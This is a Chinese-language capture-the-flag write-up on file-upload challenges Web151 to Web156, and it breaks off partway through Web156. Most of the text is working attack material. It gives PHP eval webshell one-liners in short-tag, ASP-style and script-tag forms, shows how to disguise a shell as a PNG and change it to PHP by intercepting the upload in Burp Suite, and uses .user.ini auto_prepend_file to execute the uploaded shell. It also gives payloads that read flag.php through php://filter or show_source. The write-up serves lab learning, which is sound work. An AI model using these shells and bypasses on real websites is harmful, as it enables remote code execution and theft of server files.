Web151
前端限制不可靠,正常发个图片马然后抓包在 Burp Suite 中修改为 php 即可。
<?= phpinfo(); eval($_POST["pass"]); ?>
查看 flag 位置,直接 cat 不行,尝试使用 filter 或 show_source:
pass=include('php://filter/convert.base64-encode/resource=../flag.php');
pass=show_source('../flag.php');
Web152
后端检验 MIME 类型(Content-Type),要求为 image/png。上一题的做法依旧可行。
Web153(上传.user.ini 绕过后缀)
.php 后缀被过滤,可利用 .user.ini 和.htaccess 绕过。
.user.ini 可设置特定目录下的 PHP 配置,覆盖全局 php.ini。利用 auto_prepend_file 自动执行木马。
- 编写
.user.ini,添加 png 后缀上传后改回:auto_prepend_file=shell.png - 上传
shell.png(实际内容为 PHP 代码)。 - 访问
/upload目录,主文件加载时自动执行shell.png。
Web154(短标签绕过关键字)
文件内容不允许有 php 关键字,可使用短标签或 ASP 风格:
<?php @eval($_POST['cmd']); ?>
<?=@eval($_POST['cmd']); ?>
<% @eval($_POST['cmd']); %>
<script language='php'>@eval($_POST['cmd']);</script>
同样需要配合 .user.ini 绕过。
Web155
与 Web154 相同。
Web156([] 过滤)
过滤了 php 后缀、php 关键字和中括号。可用大括号代替数组访问,使用 弹出参数:

